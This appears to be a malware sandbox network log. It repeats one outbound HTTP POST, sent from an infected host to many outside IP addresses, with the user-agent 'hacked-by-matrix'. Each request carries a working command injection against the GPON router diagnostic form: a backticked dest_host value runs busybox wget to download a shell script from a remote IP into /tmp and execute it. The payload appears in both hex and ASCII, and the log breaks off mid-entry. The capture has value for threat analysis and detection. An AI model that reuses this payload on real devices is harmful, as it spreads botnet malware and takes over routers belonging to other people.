Mar 21, 2024 05:22:20.516433954 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
399	192.168.2.13	48580	109.236.130.120	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.516457081 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
400	192.168.2.13	39026	118.214.189.79	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.516457081 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
401	192.168.2.13	59524	118.11.89.19	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.516468048 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
402	192.168.2.13	47238	109.61.146.186	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.516489983 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
403	192.168.2.13	51532	109.166.62.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.516500950 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
404	192.168.2.13	36702	212.37.185.98	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.516501904 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
405	192.168.2.13	47080	5.117.145.136	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.516531944 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
406	192.168.2.13	37480	109.226.195.92	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.516535044 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
407	192.168.2.13	41960	212.192.54.175	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.516552925 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
408	192.168.2.13	59566	42.43.193.199	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.516561031 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
409	192.168.2.13	45366	212.81.171.54	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.516594887 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
410	192.168.2.13	44108	42.200.114.76	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.516594887 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
411	192.168.2.13	41616	118.200.70.10	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.516628981 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
412	192.168.2.13	46132	118.239.120.214	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.516633987 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
413	192.168.2.13	33256	42.196.91.60	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.516638994 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
414	192.168.2.13	57472	212.96.44.169	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.516648054 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
415	192.168.2.13	46332	118.141.231.41	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.516663074 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
416	192.168.2.13	60826	118.183.36.141	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.516684055 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
417	192.168.2.13	45486	212.105.121.192	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.516695023 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
418	192.168.2.13	57534	109.30.6.238	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.516695976 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
419	192.168.2.13	50704	42.87.51.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.516741037 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
420	192.168.2.13	36668	118.221.73.161	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.516748905 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
421	192.168.2.13	36058	212.120.3.47	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:20.516798973 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
422	192.168.2.13	55710	109.227.9.211	443

Timestamp	Bytes transferred	Direction	Data
